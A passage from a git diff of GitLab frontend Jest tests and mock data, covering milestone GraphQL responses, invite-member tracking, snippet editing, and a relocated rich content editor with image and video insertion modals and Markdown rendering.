+ __typename: 'MilestoneConnection',
+ },
+ __typename: 'Project',
+ },
+};
+
+export const noCurrentMilestoneResponse = {
+ data: {
+ workspace: {
+ issuable: { id: mockIssueId, attribute: null, __typename: 'Issue' },
+ __typename: 'Project',
+ },
+ },
+};
+
+export const mockMilestoneMutationResponse = {
+ data: {
+ issuableSetAttribute: {
+ errors: [],
+ issuable: {
+ id: 'gid://gitlab/Issue/1',
+ attribute: {
+ id: 'gid://gitlab/Milestone/2',
+ title: 'Awesome Milestone',
+ state: 'active',
+ __typename: 'Milestone',
+ },
+ __typename: 'Issue',
+ },
+ __typename: 'UpdateIssuePayload',
+ },
+ },
+};
+
+export const emptyProjectMilestonesResponse = {
+ data: {
+ workspace: {
+ attributes: {
+ nodes: [],
+ },
+ __typename: 'MilestoneConnection',
+ },
+ __typename: 'Project',
+ },
+};
+
+export const issuableTimeTrackingResponse = {
+ data: {
+ workspace: {
+ __typename: 'Project',
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/1',
+ title: 'Commodi incidunt eos eos libero dicta dolores sed.',
+ timeEstimate: 10_000, // 2h 46m
+ totalTimeSpent: 5_000, // 1h 23m
+ humanTimeEstimate: '2h 46m',
+ humanTotalTimeSpent: '1h 23m',
+ },
+ },
+ },
+};
+
export default mockData;
diff --git a/spec/frontend/sidebar/track_invite_members_spec.js b/spec/frontend/sidebar/track_invite_members_spec.js
new file mode 100644
index 00000000000..6c96e4cfc76
--- /dev/null
+++ b/spec/frontend/sidebar/track_invite_members_spec.js
@@ -0,0 +1,37 @@
+import $ from 'jquery';
+import { mockTracking, unmockTracking } from 'helpers/tracking_helper';
+import trackShowInviteMemberLink from '~/sidebar/track_invite_members';
+
+describe('Track user dropdown open', () => {
+ let trackingSpy;
+ let dropdownElement;
+
+ beforeEach(() => {
+ document.body.innerHTML = `
+ <div id="dummy-wrapper-element">
+ <div class="js-sidebar-assignee-dropdown">
+ <div class="js-invite-members-track" data-track-event="_track_event_" data-track-label="_track_label_">
+ </div>
+ </div>
+ </div>
+ `;
+
+ dropdownElement = document.querySelector('.js-sidebar-assignee-dropdown');
+ trackingSpy = mockTracking('_category_', dropdownElement, jest.spyOn);
+ document.body.dataset.page = 'some:page';
+
+ trackShowInviteMemberLink(dropdownElement);
+ });
+
+ afterEach(() => {
+ unmockTracking();
+ });
+
+ it('sends a tracking event when the dropdown is opened and contains Invite Members link', () => {
+ $(dropdownElement).trigger('shown.bs.dropdown');
+
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, '_track_event_', {
+ label: '_track_label_',
+ });
+ });
+});
diff --git a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
index 95da67c2bbf..5df69ffb5f8 100644
--- a/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
+++ b/spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap
@@ -22,6 +22,7 @@ exports[`Snippet Visibility Edit component rendering matches the snapshot 1`] =
<gl-form-group-stub
class="gl-mb-0"
id="visibility-level-setting"
+ labeldescription=""
>
<gl-form-radio-group-stub
checked="private"
diff --git a/spec/frontend/snippets/components/snippet_blob_edit_spec.js b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
index a7ab205ca7b..4b3b21c5507 100644
--- a/spec/frontend/snippets/components/snippet_blob_edit_spec.js
+++ b/spec/frontend/snippets/components/snippet_blob_edit_spec.js
@@ -4,7 +4,7 @@ import AxiosMockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
import BlobHeaderEdit from '~/blob/components/blob_edit_header.vue';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { joinPaths } from '~/lib/utils/url_utility';
import SnippetBlobEdit from '~/snippets/components/snippet_blob_edit.vue';
@@ -125,9 +125,9 @@ describe('Snippet Blob Edit component', () => {
it('should call flash', async () => {
await waitForPromises();
- expect(createFlash).toHaveBeenCalledWith(
- "Can't fetch content for the blob: Error: Request failed with status code 500",
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: "Can't fetch content for the blob: Error: Request failed with status code 500",
+ });
});
});
diff --git a/spec/frontend/static_site_editor/components/edit_area_spec.js b/spec/frontend/static_site_editor/components/edit_area_spec.js
index 17fb3fe788a..1d6245e9dbb 100644
--- a/spec/frontend/static_site_editor/components/edit_area_spec.js
+++ b/spec/frontend/static_site_editor/components/edit_area_spec.js
@@ -7,8 +7,8 @@ import EditDrawer from '~/static_site_editor/components/edit_drawer.vue';
import EditHeader from '~/static_site_editor/components/edit_header.vue';
import PublishToolbar from '~/static_site_editor/components/publish_toolbar.vue';
import UnsavedChangesConfirmDialog from '~/static_site_editor/components/unsaved_changes_confirm_dialog.vue';
-import { EDITOR_TYPES } from '~/vue_shared/components/rich_content_editor/constants';
-import RichContentEditor from '~/vue_shared/components/rich_content_editor/rich_content_editor.vue';
+import { EDITOR_TYPES } from '~/static_site_editor/rich_content_editor/constants';
+import RichContentEditor from '~/static_site_editor/rich_content_editor/rich_content_editor.vue';
import {
sourceContentTitle as title,
diff --git a/spec/frontend/static_site_editor/rich_content_editor/editor_service_spec.js b/spec/frontend/static_site_editor/rich_content_editor/editor_service_spec.js
new file mode 100644
index 00000000000..cd0d09c085f
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/editor_service_spec.js
@@ -0,0 +1,214 @@
+import buildCustomRenderer from '~/static_site_editor/rich_content_editor/services/build_custom_renderer';
+import buildHTMLToMarkdownRenderer from '~/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer';
+import {
+ generateToolbarItem,
+ addCustomEventListener,
+ removeCustomEventListener,
+ registerHTMLToMarkdownRenderer,
+ addImage,
+ insertVideo,
+ getMarkdown,
+ getEditorOptions,
+} from '~/static_site_editor/rich_content_editor/services/editor_service';
+import sanitizeHTML from '~/static_site_editor/rich_content_editor/services/sanitize_html';
+
+jest.mock('~/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer');
+jest.mock('~/static_site_editor/rich_content_editor/services/build_custom_renderer');
+jest.mock('~/static_site_editor/rich_content_editor/services/sanitize_html');
+
+describe('Editor Service', () => {
+ let mockInstance;
+ let event;
+ let handler;
+ const parseHtml = (str) => {
+ const wrapper = document.createElement('div');
+ wrapper.innerHTML = str;
+ return wrapper.firstChild;
+ };
+
+ beforeEach(() => {
+ mockInstance = {
+ eventManager: { addEventType: jest.fn(), removeEventHandler: jest.fn(), listen: jest.fn() },
+ editor: {
+ exec: jest.fn(),
+ isWysiwygMode: jest.fn(),
+ getSquire: jest.fn(),
+ insertText: jest.fn(),
+ },
+ invoke: jest.fn(),
+ toMarkOptions: {
+ renderer: {
+ constructor: {
+ factory: jest.fn(),
+ },
+ },
+ },
+ };
+ event = 'someCustomEvent';
+ handler = jest.fn();
+ });
+
+ describe('generateToolbarItem', () => {
+ const config = {
+ icon: 'bold',
+ command: 'some-command',
+ tooltip: 'Some Tooltip',
+ event: 'some-event',
+ };
+
+ const generatedItem = generateToolbarItem(config);
+
+ it('generates the correct command', () => {
+ expect(generatedItem.options.command).toBe(config.command);
+ });
+
+ it('generates the correct event', () => {
+ expect(generatedItem.options.event).toBe(config.event);
+ });
+
+ it('generates a divider when isDivider is set to true', () => {
+ const isDivider = true;
+
+ expect(generateToolbarItem({ isDivider })).toBe('divider');
+ });
+ });
+
+ describe('addCustomEventListener', () => {
+ it('registers an event type on the instance and adds an event handler', () => {
+ addCustomEventListener(mockInstance, event, handler);
+
+ expect(mockInstance.eventManager.addEventType).toHaveBeenCalledWith(event);
+ expect(mockInstance.eventManager.listen).toHaveBeenCalledWith(event, handler);
+ });
+ });
+
+ describe('removeCustomEventListener', () => {
+ it('removes an event handler from the instance', () => {
+ removeCustomEventListener(mockInstance, event, handler);
+
+ expect(mockInstance.eventManager.removeEventHandler).toHaveBeenCalledWith(event, handler);
+ });
+ });
+
+ describe('addImage', () => {
+ const file = new File([], 'some-file.jpg');
+ const mockImage = { imageUrl: 'some/url.png', altText: 'some alt text' };
+
+ it('calls the insertElement method on the squire instance when in WYSIWYG mode', () => {
+ jest.spyOn(URL, 'createObjectURL');
+ mockInstance.editor.isWysiwygMode.mockReturnValue(true);
+ mockInstance.editor.getSquire.mockReturnValue({ insertElement: jest.fn() });
+
+ addImage(mockInstance, mockImage, file);
+
+ expect(mockInstance.editor.getSquire().insertElement).toHaveBeenCalled();
+ expect(global.URL.createObjectURL).toHaveBeenLastCalledWith(file);
+ });
+
+ it('calls the insertText method on the instance when in Markdown mode', () => {
+ mockInstance.editor.isWysiwygMode.mockReturnValue(false);
+ addImage(mockInstance, mockImage, file);
+
+ expect(mockInstance.editor.insertText).toHaveBeenCalledWith('![some alt text](some/url.png)');
+ });
+ });
+
+ describe('insertVideo', () => {
+ const mockUrl = 'some/url';
+ const htmlString = `<figure contenteditable="false" class="gl-relative gl-h-0 video_container"><iframe class="gl-absolute gl-top-0 gl-left-0 gl-w-full gl-h-full" width="560" height="315" frameborder="0" src="some/url"></iframe></figure>`;
+ const mockInsertElement = jest.fn();
+
+ beforeEach(() =>
+ mockInstance.editor.getSquire.mockReturnValue({ insertElement: mockInsertElement }),
+ );
+
+ describe('WYSIWYG mode', () => {
+ it('calls the insertElement method on the squire instance with an iFrame element', () => {
+ mockInstance.editor.isWysiwygMode.mockReturnValue(true);
+
+ insertVideo(mockInstance, mockUrl);
+
+ expect(mockInstance.editor.getSquire().insertElement).toHaveBeenCalledWith(
+ parseHtml(htmlString),
+ );
+ });
+ });
+
+ describe('Markdown mode', () => {
+ it('calls the insertText method on the editor instance with the iFrame element HTML', () => {
+ mockInstance.editor.isWysiwygMode.mockReturnValue(false);
+
+ insertVideo(mockInstance, mockUrl);
+
+ expect(mockInstance.editor.insertText).toHaveBeenCalledWith(htmlString);
+ });
+ });
+ });
+
+ describe('getMarkdown', () => {
+ it('calls the invoke method on the instance', () => {
+ getMarkdown(mockInstance);
+
+ expect(mockInstance.invoke).toHaveBeenCalledWith('getMarkdown');
+ });
+ });
+
+ describe('registerHTMLToMarkdownRenderer', () => {
+ let baseRenderer;
+ const htmlToMarkdownRenderer = {};
+ const extendedRenderer = {};
+
+ beforeEach(() => {
+ baseRenderer = mockInstance.toMarkOptions.renderer;
+ buildHTMLToMarkdownRenderer.mockReturnValueOnce(htmlToMarkdownRenderer);
+ baseRenderer.constructor.factory.mockReturnValueOnce(extendedRenderer);
+
+ registerHTMLToMarkdownRenderer(mockInstance);
+ });
+
+ it('builds a new instance of the HTML to Markdown renderer', () => {
+ expect(buildHTMLToMarkdownRenderer).toHaveBeenCalledWith(baseRenderer);
+ });
+
+ it('extends base renderer with the HTML to Markdown renderer', () => {
+ expect(baseRenderer.constructor.factory).toHaveBeenCalledWith(
+ baseRenderer,
+ htmlToMarkdownRenderer,
+ );
+ });
+
+ it('replaces the default renderer with extended renderer', () => {
+ expect(mockInstance.toMarkOptions.renderer).toBe(extendedRenderer);
+ });
+ });
+
+ describe('getEditorOptions', () => {
+ const externalOptions = {
+ customRenderers: {},
+ };
+ const renderer = {};
+
+ beforeEach(() => {
+ buildCustomRenderer.mockReturnValueOnce(renderer);
+ });
+
+ it('generates a configuration object with a custom HTML renderer and toolbarItems', () => {
+ expect(getEditorOptions()).toHaveProp('customHTMLRenderer', renderer);
+ expect(getEditorOptions()).toHaveProp('toolbarItems');
+ });
+
+ it('passes external renderers to the buildCustomRenderers function', () => {
+ getEditorOptions(externalOptions);
+ expect(buildCustomRenderer).toHaveBeenCalledWith(externalOptions.customRenderers);
+ });
+
+ it('uses the internal sanitizeHTML service for HTML sanitization', () => {
+ const options = getEditorOptions();
+ const html = '<div></div>';
+
+ options.customHTMLSanitizer(html);
+
+ expect(sanitizeHTML).toHaveBeenCalledWith(html);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/add_image_modal_spec.js b/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/add_image_modal_spec.js
new file mode 100644
index 00000000000..86ae016987d
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/add_image_modal_spec.js
@@ -0,0 +1,73 @@
+import { GlModal, GlTabs } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { IMAGE_TABS } from '~/static_site_editor/rich_content_editor/constants';
+import AddImageModal from '~/static_site_editor/rich_content_editor/modals/add_image/add_image_modal.vue';
+import UploadImageTab from '~/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab.vue';
+
+describe('Add Image Modal', () => {
+ let wrapper;
+ const propsData = { imageRoot: 'path/to/root/' };
+
+ const findModal = () => wrapper.find(GlModal);
+ const findTabs = () => wrapper.find(GlTabs);
+ const findUploadImageTab = () => wrapper.find(UploadImageTab);
+ const findUrlInput = () => wrapper.find({ ref: 'urlInput' });
+ const findDescriptionInput = () => wrapper.find({ ref: 'descriptionInput' });
+
+ beforeEach(() => {
+ wrapper = shallowMount(AddImageModal, { propsData });
+ });
+
+ describe('when content is loaded', () => {
+ it('renders a modal component', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('renders a Tabs component', () => {
+ expect(findTabs().exists()).toBe(true);
+ });
+
+ it('renders an upload image tab', () => {
+ expect(findUploadImageTab().exists()).toBe(true);
+ });
+
+ it('renders an input to add an image URL', () => {
+ expect(findUrlInput().exists()).toBe(true);
+ });
+
+ it('renders an input to add an image description', () => {
+ expect(findDescriptionInput().exists()).toBe(true);
+ });
+ });
+
+ describe('add image', () => {
+ describe('Upload', () => {
+ it('validates the file', () => {
+ const preventDefault = jest.fn();
+ const description = 'some description';
+ const file = { name: 'some_file.png' };
+
+ wrapper.vm.$refs.uploadImageTab = { validateFile: jest.fn() };
+ wrapper.setData({ file, description, tabIndex: IMAGE_TABS.UPLOAD_TAB });
+
+ findModal().vm.$emit('ok', { preventDefault });
+
+ expect(wrapper.vm.$refs.uploadImageTab.validateFile).toHaveBeenCalled();
+ });
+ });
+
+ describe('URL', () => {
+ it('emits an addImage event when a valid URL is specified', () => {
+ const preventDefault = jest.fn();
+ const mockImage = { imageUrl: '/some/valid/url.png', description: 'some description' };
+ wrapper.setData({ ...mockImage, tabIndex: IMAGE_TABS.URL_TAB });
+
+ findModal().vm.$emit('ok', { preventDefault });
+ expect(preventDefault).not.toHaveBeenCalled();
+ expect(wrapper.emitted('addImage')).toEqual([
+ [{ imageUrl: mockImage.imageUrl, altText: mockImage.description }],
+ ]);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab_spec.js b/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab_spec.js
new file mode 100644
index 00000000000..11b73d58259
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab_spec.js
@@ -0,0 +1,41 @@
+import { shallowMount } from '@vue/test-utils';
+import UploadImageTab from '~/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab.vue';
+
+describe('Upload Image Tab', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = shallowMount(UploadImageTab);
+ });
+
+ afterEach(() => wrapper.destroy());
+
+ const triggerInputEvent = (size) => {
+ const file = { size, name: 'file-name.png' };
+ const mockEvent = new Event('input');
+
+ Object.defineProperty(mockEvent, 'target', { value: { files: [file] } });
+
+ wrapper.find({ ref: 'fileInput' }).element.dispatchEvent(mockEvent);
+
+ return file;
+ };
+
+ describe('onInput', () => {
+ it.each`
+ size | fileError
+ ${2000000000} | ${'Maximum file size is 2MB. Please select a smaller file.'}
+ ${200} | ${null}
+ `('validates the file correctly', ({ size, fileError }) => {
+ triggerInputEvent(size);
+
+ expect(wrapper.vm.fileError).toBe(fileError);
+ });
+ });
+
+ it('emits input event when file is valid', () => {
+ const file = triggerInputEvent(200);
+
+ expect(wrapper.emitted('input')).toEqual([[file]]);
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/modals/insert_video_modal_spec.js b/spec/frontend/static_site_editor/rich_content_editor/modals/insert_video_modal_spec.js
new file mode 100644
index 00000000000..392d31bf039
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/modals/insert_video_modal_spec.js
@@ -0,0 +1,44 @@
+import { GlModal } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import InsertVideoModal from '~/static_site_editor/rich_content_editor/modals/insert_video_modal.vue';
+
+describe('Insert Video Modal', () => {
+ let wrapper;
+
+ const findModal = () => wrapper.find(GlModal);
+ const findUrlInput = () => wrapper.find({ ref: 'urlInput' });
+
+ const triggerInsertVideo = (url) => {
+ const preventDefault = jest.fn();
+ findUrlInput().vm.$emit('input', url);
+ findModal().vm.$emit('primary', { preventDefault });
+ };
+
+ beforeEach(() => {
+ wrapper = shallowMount(InsertVideoModal);
+ });
+
+ afterEach(() => wrapper.destroy());
+
+ describe('when content is loaded', () => {
+ it('renders a modal component', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('renders an input to add a URL', () => {
+ expect(findUrlInput().exists()).toBe(true);
+ });
+ });
+
+ describe('insert video', () => {
+ it.each`
+ url | emitted
+ ${'https://www.youtube.com/embed/someId'} | ${[['https://www.youtube.com/embed/someId']]}
+ ${'https://www.youtube.com/watch?v=1234'} | ${[['https://www.youtube.com/embed/1234']]}
+ ${'::youtube.com/invalid/url'} | ${undefined}
+ `('formats the url correctly', ({ url, emitted }) => {
+ triggerInsertVideo(url);
+ expect(wrapper.emitted('insertVideo')).toEqual(emitted);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_integration_spec.js b/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_integration_spec.js
new file mode 100644
index 00000000000..6c02ec506c6
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_integration_spec.js
@@ -0,0 +1,69 @@
+import Editor from '@toast-ui/editor';
+import buildMarkdownToHTMLRenderer from '~/static_site_editor/rich_content_editor/services/build_custom_renderer';
+import { registerHTMLToMarkdownRenderer } from '~/static_site_editor/rich_content_editor/services/editor_service';
+
+describe('static_site_editor/rich_content_editor', () => {
+ let editor;
+
+ const buildEditor = () => {
+ editor = new Editor({
+ el: document.body,
+ customHTMLRenderer: buildMarkdownToHTMLRenderer(),
+ });
+
+ registerHTMLToMarkdownRenderer(editor);
+ };
+
+ beforeEach(() => {
+ buildEditor();
+ });
+
+ describe('HTML to Markdown', () => {
+ it('uses "-" character list marker in unordered lists', () => {
+ editor.setHtml('<ul><li>List item 1</li><li>List item 2</li></ul>');
+
+ const markdown = editor.getMarkdown();
+
+ expect(markdown).toBe('- List item 1\n- List item 2');
+ });
+
+ it('does not increment the list marker in ordered lists', () => {
+ editor.setHtml('<ol><li>List item 1</li><li>List item 2</li></ol>');
+
+ const markdown = editor.getMarkdown();
+
+ expect(markdown).toBe('1. List item 1\n1. List item 2');
+ });
+
+ it('indents lists using four spaces', () => {
+ editor.setHtml('<ul><li>List item 1</li><ul><li>List item 2</li></ul></ul>');
+
+ const markdown = editor.getMarkdown();
+
+ expect(markdown).toBe('- List item 1\n - List item 2');
+ });
+
+ it('uses * for strong and _ for emphasis text', () => {
+ editor.setHtml('<strong>strong text</strong><i>emphasis text</i>');
+
+ const markdown = editor.getMarkdown();
+
+ expect(markdown).toBe('**strong text**_emphasis text_');
+ });
+ });
+
+ describe('Markdown to HTML', () => {
+ it.each`
+ input | output
+ ${'markdown with _emphasized\ntext_'} | ${'<p>markdown with <em>emphasized text</em></p>\n'}
+ ${'markdown with **strong\ntext**'} | ${'<p>markdown with <strong>strong text</strong></p>\n'}
+ `(
+ 'does not transform softbreaks inside (_) and strong (**) nodes into <br/> tags',
+ ({ input, output }) => {
+ editor.setMarkdown(input);
+
+ expect(editor.getHtml()).toBe(output);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_spec.js b/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_spec.js
new file mode 100644
index 00000000000..3b0d2993a5d
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/rich_content_editor_spec.js
@@ -0,0 +1,222 @@
+import { Editor, mockEditorApi } from '@toast-ui/vue-editor';
+import { shallowMount } from '@vue/test-utils';
+import {
+ EDITOR_TYPES,
+ EDITOR_HEIGHT,
+ EDITOR_PREVIEW_STYLE,
+ CUSTOM_EVENTS,
+} from '~/static_site_editor/rich_content_editor/constants';
+import AddImageModal from '~/static_site_editor/rich_content_editor/modals/add_image/add_image_modal.vue';
+import InsertVideoModal from '~/static_site_editor/rich_content_editor/modals/insert_video_modal.vue';
+import RichContentEditor from '~/static_site_editor/rich_content_editor/rich_content_editor.vue';
+
+import {
+ addCustomEventListener,
+ removeCustomEventListener,
+ addImage,
+ insertVideo,
+ registerHTMLToMarkdownRenderer,
+ getEditorOptions,
+ getMarkdown,
+} from '~/static_site_editor/rich_content_editor/services/editor_service';
+
+jest.mock('~/static_site_editor/rich_content_editor/services/editor_service', () => ({
+ addCustomEventListener: jest.fn(),
+ removeCustomEventListener: jest.fn(),
+ addImage: jest.fn(),
+ insertVideo: jest.fn(),
+ registerHTMLToMarkdownRenderer: jest.fn(),
+ getEditorOptions: jest.fn(),
+ getMarkdown: jest.fn(),
+}));
+
+describe('Rich Content Editor', () => {
+ let wrapper;
+
+ const content = '## Some Markdown';
+ const imageRoot = 'path/to/root/';
+ const findEditor = () => wrapper.find({ ref: 'editor' });
+ const findAddImageModal = () => wrapper.find(AddImageModal);
+ const findInsertVideoModal = () => wrapper.find(InsertVideoModal);
+
+ const buildWrapper = async () => {
+ wrapper = shallowMount(RichContentEditor, {
+ propsData: { content, imageRoot },
+ stubs: {
+ ToastEditor: Editor,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when content is loaded', () => {
+ const editorOptions = {};
+
+ beforeEach(() => {
+ getEditorOptions.mockReturnValueOnce(editorOptions);
+ buildWrapper();
+ });
+
+ it('renders an editor', () => {
+ expect(findEditor().exists()).toBe(true);
+ });
+
+ it('renders the correct content', () => {
+ expect(findEditor().props().initialValue).toBe(content);
+ });
+
+ it('provides options generated by the getEditorOptions service', () => {
+ expect(findEditor().props().options).toBe(editorOptions);
+ });
+
+ it('has the correct preview style', () => {
+ expect(findEditor().props().previewStyle).toBe(EDITOR_PREVIEW_STYLE);
+ });
+
+ it('has the correct initial edit type', () => {
+ expect(findEditor().props().initialEditType).toBe(EDITOR_TYPES.wysiwyg);
+ });
+
+ it('has the correct height', () => {
+ expect(findEditor().props().height).toBe(EDITOR_HEIGHT);
+ });
+ });
+
+ describe('when content is changed', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('emits an input event with the changed content', () => {
+ const changedMarkdown = '## Changed Markdown';
+ getMarkdown.mockReturnValueOnce(changedMarkdown);
+
+ findEditor().vm.$emit('change');
+
+ expect(wrapper.emitted().input[0][0]).toBe(changedMarkdown);
+ });
+ });
+
+ describe('when content is reset', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('should reset the content via setMarkdown', () => {
+ const newContent = 'Just the body content excluding the front matter for example';
+ const mockInstance = { invoke: jest.fn() };
+ wrapper.vm.$refs.editor = mockInstance;
+
+ wrapper.vm.resetInitialValue(newContent);
+
+ expect(mockInstance.invoke).toHaveBeenCalledWith('setMarkdown', newContent);
+ });
+ });
+
+ describe('when editor is loaded', () => {
+ const formattedMarkdown = 'formatted markdown';
+
+ beforeEach(() => {
+ mockEditorApi.getMarkdown.mockReturnValueOnce(formattedMarkdown);
+ buildWrapper();
+ });
+
+ afterEach(() => {
+ mockEditorApi.getMarkdown.mockReset();
+ });
+
+ it('adds the CUSTOM_EVENTS.openAddImageModal custom event listener', () => {
+ expect(addCustomEventListener).toHaveBeenCalledWith(
+ wrapper.vm.editorApi,
+ CUSTOM_EVENTS.openAddImageModal,
+ wrapper.vm.onOpenAddImageModal,
+ );
+ });
+
+ it('adds the CUSTOM_EVENTS.openInsertVideoModal custom event listener', () => {
+ expect(addCustomEventListener).toHaveBeenCalledWith(
+ wrapper.vm.editorApi,
+ CUSTOM_EVENTS.openInsertVideoModal,
+ wrapper.vm.onOpenInsertVideoModal,
+ );
+ });
+
+ it('registers HTML to markdown renderer', () => {
+ expect(registerHTMLToMarkdownRenderer).toHaveBeenCalledWith(wrapper.vm.editorApi);
+ });
+
+ it('emits load event with the markdown formatted by Toast UI', () => {
+ mockEditorApi.getMarkdown.mockReturnValueOnce(formattedMarkdown);
+ expect(mockEditorApi.getMarkdown).toHaveBeenCalled();
+ expect(wrapper.emitted('load')[0]).toEqual([{ formattedMarkdown }]);
+ });
+ });
+
+ describe('when editor is destroyed', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('removes the CUSTOM_EVENTS.openAddImageModal custom event listener', () => {
+ wrapper.vm.$destroy();
+
+ expect(removeCustomEventListener).toHaveBeenCalledWith(
+ wrapper.vm.editorApi,
+ CUSTOM_EVENTS.openAddImageModal,
+ wrapper.vm.onOpenAddImageModal,
+ );
+ });
+
+ it('removes the CUSTOM_EVENTS.openInsertVideoModal custom event listener', () => {
+ wrapper.vm.$destroy();
+
+ expect(removeCustomEventListener).toHaveBeenCalledWith(
+ wrapper.vm.editorApi,
+ CUSTOM_EVENTS.openInsertVideoModal,
+ wrapper.vm.onOpenInsertVideoModal,
+ );
+ });
+ });
+
+ describe('add image modal', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('renders an addImageModal component', () => {
+ expect(findAddImageModal().exists()).toBe(true);
+ });
+
+ it('calls the onAddImage method when the addImage event is emitted', () => {
+ const mockImage = { imageUrl: 'some/url.png', altText: 'some description' };
+ const mockInstance = { exec: jest.fn() };
+ wrapper.vm.$refs.editor = mockInstance;
+
+ findAddImageModal().vm.$emit('addImage', mockImage);
+ expect(addImage).toHaveBeenCalledWith(mockInstance, mockImage, undefined);
+ });
+ });
+
+ describe('insert video modal', () => {
+ beforeEach(() => {
+ buildWrapper();
+ });
+
+ it('renders an insertVideoModal component', () => {
+ expect(findInsertVideoModal().exists()).toBe(true);
+ });
+
+ it('calls the onInsertVideo method when the insertVideo event is emitted', () => {
+ const mockUrl = 'https://www.youtube.com/embed/someId';
+ const mockInstance = { exec: jest.fn() };
+ wrapper.vm.$refs.editor = mockInstance;
+
+ findInsertVideoModal().vm.$emit('insertVideo', mockUrl);
+ expect(insertVideo).toHaveBeenCalledWith(mockInstance, mockUrl);
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/build_custom_renderer_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/build_custom_renderer_spec.js
new file mode 100644
index 00000000000..202e13e8bff
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/build_custom_renderer_spec.js
@@ -0,0 +1,32 @@
+import buildCustomHTMLRenderer from '~/static_site_editor/rich_content_editor/services/build_custom_renderer';
+
+describe('Build Custom Renderer Service', () => {
+ describe('buildCustomHTMLRenderer', () => {
+ it('should return an object with the default renderer functions when lacking arguments', () => {
+ expect(buildCustomHTMLRenderer()).toEqual(
+ expect.objectContaining({
+ htmlBlock: expect.any(Function),
+ htmlInline: expect.any(Function),
+ heading: expect.any(Function),
+ item: expect.any(Function),
+ paragraph: expect.any(Function),
+ text: expect.any(Function),
+ softbreak: expect.any(Function),
+ }),
+ );
+ });
+
+ it('should return an object with both custom and default renderer functions when passed customRenderers', () => {
+ const mockHtmlCustomRenderer = jest.fn();
+ const customRenderers = {
+ html: [mockHtmlCustomRenderer],
+ };
+
+ expect(buildCustomHTMLRenderer(customRenderers)).toEqual(
+ expect.objectContaining({
+ html: expect.any(Function),
+ }),
+ );
+ });
+ });
+});
diff --git a/spec/frontend/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer_spec.js b/spec/frontend/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
new file mode 100644
index 00000000000..c9cba3e8689
--- /dev/null
+++ b/spec/frontend/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer_spec.js
@@ -0,0 +1,218 @@
+import buildHTMLToMarkdownRenderer from '~/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer';
+import { attributeDefinition } from './renderers/mock_data';
+
+describe('rich_content_editor/services/html_to_markdown_renderer', () => {
+ let baseRenderer;
+ let htmlToMarkdownRenderer;
+ let fakeNode;
+
+ beforeEach(() => {
+ baseRenderer = {
+ trim: jest.fn((input) => `trimmed ${input}`),
+ getSpaceCollapsedText: jest.fn((input) => `space collapsed ${input}`),
+ getSpaceControlled: jest.fn((input) => `space controlled ${input}`),
+ convert: jest.fn(),
+ };
+
+ fakeNode = { nodeValue: 'mock_node', dataset: {} };
+ });
+
+ afterEach(() => {
+ htmlToMarkdownRenderer = null;
+ });
+
+ describe('TEXT_NODE visitor', () => {
+ it('composes getSpaceControlled, getSpaceCollapsedText, and trim services', () => {
+ htmlToMarkdownRenderer = buildHTMLToMarkdownRenderer(baseRenderer);
+
+ expect(htmlToMarkdownRenderer.TEXT_NODE(fakeNode)).toBe(
+ `space controlled trimmed space collapsed ${fakeNode.nodeValue}`,
+ );
+ });
+ });
+
+ describe('LI OL, LI UL visitor', () => {
+ const oneLevelNestedList = '\n * List item 1\n * List item 2';
+ const twoLevelNestedList = '\n * List item 1\n * List item 2';
+ const spaceInContentList = '\n * List item 1\n * List item 2';
+
+ it.each`
+ list | indentSpaces | result
